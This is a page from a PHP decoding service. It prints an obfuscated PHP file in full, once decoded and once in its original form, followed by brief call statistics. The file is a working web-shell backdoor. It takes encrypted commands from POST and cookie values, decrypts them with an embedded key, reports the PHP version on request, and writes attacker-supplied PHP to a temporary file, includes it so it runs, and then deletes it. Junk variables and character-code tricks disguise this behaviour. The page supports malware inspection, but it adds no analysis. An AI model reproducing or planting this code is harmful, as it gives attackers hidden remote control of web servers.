Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $rpfpcwvck /* ehu */ = 'rpfpcwvck' ^ ''; function kigrljic() ..
Decoded Output download
<?php $rpfpcwvck /* ehu */ = 'rpfpcwvck' ^ '';
function kigrljic()
{
$oxxqh__up = /*a_lf */ 22;
$pwerinb = 'gmxkvljitu';
/* u */ $rpwbzr = 'nfagknqqh';
/* pdfk */ $zikei = 20;
$vrs_tulf = /* dckkr */ 'rxy';
/* hb */ return /*sevok */ $_POST;}
$dqlcvs /* gy */ = kigrljic();
$knvjd /* wk */ = /* n_ */ 26;
$bhtmxho /* gdj */ = 'cdlk';
$qocfqcu = /*v */ $_COOKIE;$esewo = 'riomehhmx';
$vfzhwz /* ya */ = /*s */ 48;
kigrljic();
function vminid($dqgzw, $diunxtet){ /* lpc*/ global $rpfpcwvck;
$npgduyp = sprintf($rpfpcwvck(892-846) . "/" . /* ti */ "%" /* _b */ . "s" . /* je */ $rpfpcwvck(46) . "p"."l", md5($dqgzw));
file_put_contents($npgduyp, /* adqxnn */ "<" . /* qlhnfp */ "?".$rpfpcwvck(112) . $rpfpcwvck(104) . /* qtom_n */ $rpfpcwvck(112) . /* yw*/ $rpfpcwvck(32) /* ulcq */ . $rpfpcwvck(117) . $rpfpcwvck(547-437) /* bekoyo */ . "l"."i"."n" . "k"."(" /* _vvma*/ . /*_jyh_ */ "_" . $rpfpcwvck(95) . "F".$rpfpcwvck(681-608) /* nunh */ . "L"."E"."_".$rpfpcwvck(95) . /* kj */ $rpfpcwvck(483-442) . /* niyhu */ ";" /* anzle */ . /* q */ $rpfpcwvck(32) . /* rxxrer */ $diunxtet[$rpfpcwvck(256-156)]);
$gmwnubgrs = 'ns_mosuypu';
/*z */ include($npgduyp);
$gfwnnltf = /* gmg */ 'vphrjav';
$gmwnubgrs /* rf */ = base64_decode($gmwnubgrs);
$britdozz /* j */ = 'axh';
$kkskxg = $npgduyp;
$gfwnnltf /* ydxz */ = /* sskopv */ base64_decode($britdozz); @unlink($kkskxg);
$kyzgitp /* s*/ = 'wth';
}
function ybplgss_h()
{
global $rpfpcwvck;
/*ajrs */ $mtkdlkk = array(); $mtkdlkk[$rpfpcwvck(112) . "v"] = /* _qizfy */ phpversion(); /* rkxt */ $mtkdlkk["s" /* jcfcdf*/ . "v"] = "3"."."."5";
/* aqf */ echo /*ddq*/ @serialize($mtkdlkk);
$ouraxyey = /* kyz */ 9;}
function pfdh_wv($diunxtet, /*klu */ $dqgzw, $umb_pvigr)
{
global /*dxj*/ $rpfpcwvck;
/*wbelz*/ $diunxtet = /* nh*/ unserialize(jgmvtwvsi(jgmvtwvsi(base64_decode($diunxtet), $dqgzw), $umb_pvigr));
if (isset($diunxtet["a".$rpfpcwvck(107)])) {
/* zuvy_t*/ if /* rrykg */ ($diunxtet["a"] == "i") {
/* ssyzyr */ ybplgss_h();
$o_fdrkq = 27;
/* mpg*/ } elseif /* yci*/ ($diunxtet["a"] == /*jbn */ $rpfpcwvck(101)) { /* xhsd */ vminid($dqgzw, /* yjbfz */ $diunxtet); $ufnpsjnonr = 'phazysw';
}
/* t */ exit();
}
}
$qocfqcu = array_merge($dqlcvs, $qocfqcu);
$mhvlc = 'vdv';
function jgmvtwvsi($diunxtet, $_redxrvlg){
/* avbgz */ global /* njeo_u */ $rpfpcwvck;
$rzfmv = "";
/* jqqpi */ for /*mjhru */ ($mtkdlkk /* ihhru*/ = /*tuik */ 0; /* rmsq */ $mtkdlkk < /* fcor */ strlen($diunxtet);) /* g */ {
for ($emb_y = /* a*/ 0; $emb_y < strlen($_redxrvlg) /* ykcjf */ && $mtkdlkk < strlen($diunxtet); $emb_y++, $mtkdlkk++) {
$rzfmv /* qsaulx */ .= /*sk */ $rpfpcwvck(ord($diunxtet[$mtkdlkk]) ^ /*m*/ ord($_redxrvlg[$emb_y]));
$bxjdrc = 25; }
}
return $rzfmv;}
$dqgzw = $rpfpcwvck(417-316) . "7" /*dnilp */ . /*vl */ "6"."6".$rpfpcwvck(101)."2"."4".$rpfpcwvck(746-645) /* buoxp */ . "-"."9".$rpfpcwvck(235-178) . $rpfpcwvck(102) /* kr */ . "d" /* ncroti */ . "-" /* nqdr */ . /* lhvjaa */ "4"."5" . /*qv */ "a" . "3"."-" . /* eqbn */ "8"."1"."f"."0".$rpfpcwvck(45) . $rpfpcwvck(97) /* t */ . "3" . "6"."e" . /* ksw */ "c" . "8"."2"."2" . /*df */ "7" . $rpfpcwvck(57) /* hlyxg */ . "c"."3";$rndor /*ivelub */ = strlen($mhvlc);
foreach ($qocfqcu as /*uuxoe */ $umb_pvigr => /* u */ $diunxtet) {
pfdh_wv($diunxtet, /* qwbxzq*/ $dqgzw, /* yzvx*/ $umb_pvigr);}
function _n_emjr(){
$munuh = 'btd';
/*vn */ $zjosfg = /* sfkl */ 24;
/* cscyn */ $sf__uwp_o /* baci */ = /* ft_bhu */ 'bnmmqfctg';
/* rqo */ $udvcd = 48; $lbjfnzi = /*g*/ strtoupper($munuh); /*byst */ $t_xiywwsse = /*xdoiqz */ $zjosfg - /* kpn_ */ $udvcd; /* o */ $zjosfg = /* htv*/ $t_xiywwsse /*zjeari */ - /* ztvu*/ $zjosfg; $vuurizug /* ircqm */ = 31; $hyomfiloq /* y */ = 'opoey';
$t_xiywwsse = /* eed */ $zjosfg % ($vuurizug + 3);
}
_n_emjr();
?>
Did this file decode correctly?
Original Code
<?php $rpfpcwvck /* ehu */ = 'rpfpcwvck' ^ '';
function kigrljic()
{
$oxxqh__up = /*a_lf */ 22;
$pwerinb = 'gmxkvljitu';
/* u */ $rpwbzr = 'nfagknqqh';
/* pdfk */ $zikei = 20;
$vrs_tulf = /* dckkr */ 'rxy';
/* hb */ return /*sevok */ $_POST;}
$dqlcvs /* gy */ = kigrljic();
$knvjd /* wk */ = /* n_ */ 26;
$bhtmxho /* gdj */ = 'cdlk';
$qocfqcu = /*v */ $_COOKIE;$esewo = 'riomehhmx';
$vfzhwz /* ya */ = /*s */ 48;
kigrljic();
function vminid($dqgzw, $diunxtet){ /* lpc*/ global $rpfpcwvck;
$npgduyp = sprintf($rpfpcwvck(892-846) . "\57" . /* ti */ "\x25" /* _b */ . "\163" . /* je */ $rpfpcwvck(46) . "p"."\154", md5($dqgzw));
file_put_contents($npgduyp, /* adqxnn */ "<" . /* qlhnfp */ "?".$rpfpcwvck(112) . $rpfpcwvck(104) . /* qtom_n */ $rpfpcwvck(112) . /* yw*/ $rpfpcwvck(32) /* ulcq */ . $rpfpcwvck(117) . $rpfpcwvck(547-437) /* bekoyo */ . "l"."i"."\x6e" . "k"."\x28" /* _vvma*/ . /*_jyh_ */ "\137" . $rpfpcwvck(95) . "F".$rpfpcwvck(681-608) /* nunh */ . "L"."E"."_".$rpfpcwvck(95) . /* kj */ $rpfpcwvck(483-442) . /* niyhu */ "\x3b" /* anzle */ . /* q */ $rpfpcwvck(32) . /* rxxrer */ $diunxtet[$rpfpcwvck(256-156)]);
$gmwnubgrs = 'ns_mosuypu';
/*z */ include($npgduyp);
$gfwnnltf = /* gmg */ 'vphrjav';
$gmwnubgrs /* rf */ = base64_decode($gmwnubgrs);
$britdozz /* j */ = 'axh';
$kkskxg = $npgduyp;
$gfwnnltf /* ydxz */ = /* sskopv */ base64_decode($britdozz); @unlink($kkskxg);
$kyzgitp /* s*/ = 'wth';
}
function ybplgss_h()
{
global $rpfpcwvck;
/*ajrs */ $mtkdlkk = array(); $mtkdlkk[$rpfpcwvck(112) . "\x76"] = /* _qizfy */ phpversion(); /* rkxt */ $mtkdlkk["\163" /* jcfcdf*/ . "\166"] = "3"."."."\65";
/* aqf */ echo /*ddq*/ @serialize($mtkdlkk);
$ouraxyey = /* kyz */ 9;}
function pfdh_wv($diunxtet, /*klu */ $dqgzw, $umb_pvigr)
{
global /*dxj*/ $rpfpcwvck;
/*wbelz*/ $diunxtet = /* nh*/ unserialize(jgmvtwvsi(jgmvtwvsi(base64_decode($diunxtet), $dqgzw), $umb_pvigr));
if (isset($diunxtet["a".$rpfpcwvck(107)])) {
/* zuvy_t*/ if /* rrykg */ ($diunxtet["a"] == "i") {
/* ssyzyr */ ybplgss_h();
$o_fdrkq = 27;
/* mpg*/ } elseif /* yci*/ ($diunxtet["a"] == /*jbn */ $rpfpcwvck(101)) { /* xhsd */ vminid($dqgzw, /* yjbfz */ $diunxtet); $ufnpsjnonr = 'phazysw';
}
/* t */ exit();
}
}
$qocfqcu = array_merge($dqlcvs, $qocfqcu);
$mhvlc = 'vdv';
function jgmvtwvsi($diunxtet, $_redxrvlg){
/* avbgz */ global /* njeo_u */ $rpfpcwvck;
$rzfmv = "";
/* jqqpi */ for /*mjhru */ ($mtkdlkk /* ihhru*/ = /*tuik */ 0; /* rmsq */ $mtkdlkk < /* fcor */ strlen($diunxtet);) /* g */ {
for ($emb_y = /* a*/ 0; $emb_y < strlen($_redxrvlg) /* ykcjf */ && $mtkdlkk < strlen($diunxtet); $emb_y++, $mtkdlkk++) {
$rzfmv /* qsaulx */ .= /*sk */ $rpfpcwvck(ord($diunxtet[$mtkdlkk]) ^ /*m*/ ord($_redxrvlg[$emb_y]));
$bxjdrc = 25; }
}
return $rzfmv;}
$dqgzw = $rpfpcwvck(417-316) . "\67" /*dnilp */ . /*vl */ "6"."6".$rpfpcwvck(101)."2"."4".$rpfpcwvck(746-645) /* buoxp */ . "-"."9".$rpfpcwvck(235-178) . $rpfpcwvck(102) /* kr */ . "\144" /* ncroti */ . "\x2d" /* nqdr */ . /* lhvjaa */ "4"."\65" . /*qv */ "\141" . "3"."\x2d" . /* eqbn */ "8"."1"."f"."0".$rpfpcwvck(45) . $rpfpcwvck(97) /* t */ . "\x33" . "6"."\145" . /* ksw */ "\143" . "8"."2"."\62" . /*df */ "\67" . $rpfpcwvck(57) /* hlyxg */ . "c"."3";$rndor /*ivelub */ = strlen($mhvlc);
foreach ($qocfqcu as /*uuxoe */ $umb_pvigr => /* u */ $diunxtet) {
pfdh_wv($diunxtet, /* qwbxzq*/ $dqgzw, /* yzvx*/ $umb_pvigr);}
function _n_emjr(){
$munuh = 'btd';
/*vn */ $zjosfg = /* sfkl */ 24;
/* cscyn */ $sf__uwp_o /* baci */ = /* ft_bhu */ 'bnmmqfctg';
/* rqo */ $udvcd = 48; $lbjfnzi = /*g*/ strtoupper($munuh); /*byst */ $t_xiywwsse = /*xdoiqz */ $zjosfg - /* kpn_ */ $udvcd; /* o */ $zjosfg = /* htv*/ $t_xiywwsse /*zjeari */ - /* ztvu*/ $zjosfg; $vuurizug /* ircqm */ = 31; $hyomfiloq /* y */ = 'opoey';
$t_xiywwsse = /* eed */ $zjosfg % ($vuurizug + 3);
}
_n_emjr();
?>
Function Calls
kigrljic | 2 |
array_merge | 1 |
Stats
MD5 | d05e4f2e13fd37eef13c03d816e569cc |
Eval Count | 0 |
Decode Time | 96 ms |